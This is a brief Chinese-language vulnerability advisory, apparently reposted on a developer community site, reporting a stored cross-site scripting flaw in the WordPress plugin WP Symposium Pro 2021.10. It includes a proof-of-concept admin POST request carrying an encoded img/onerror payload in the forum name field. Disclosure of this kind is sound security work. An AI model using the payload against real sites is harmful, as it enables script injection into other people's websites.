WordPress WP Symposium Pro 2021.10 跨站脚本
原创WordPress WP Symposium Pro 2021.10 跨站脚本
原创
Khan安全团队
发布于 2021-12-17 15:36:43
发布于 2021-12-17 15:36:43
供应商主页：http://www.wpsymposiumpro.com/
软件链接：https://wordpress.org/plugins/wp-symposium-pro/
版本：2021.10
测试：Windows 10
Description：WP Symposium Pro 2021.10 版插件由于缺乏清理添加论坛专业及其“名称”标签而暴露于存储的跨站点脚本漏洞。
POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1
wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
评论
登录后参与评论
推荐阅读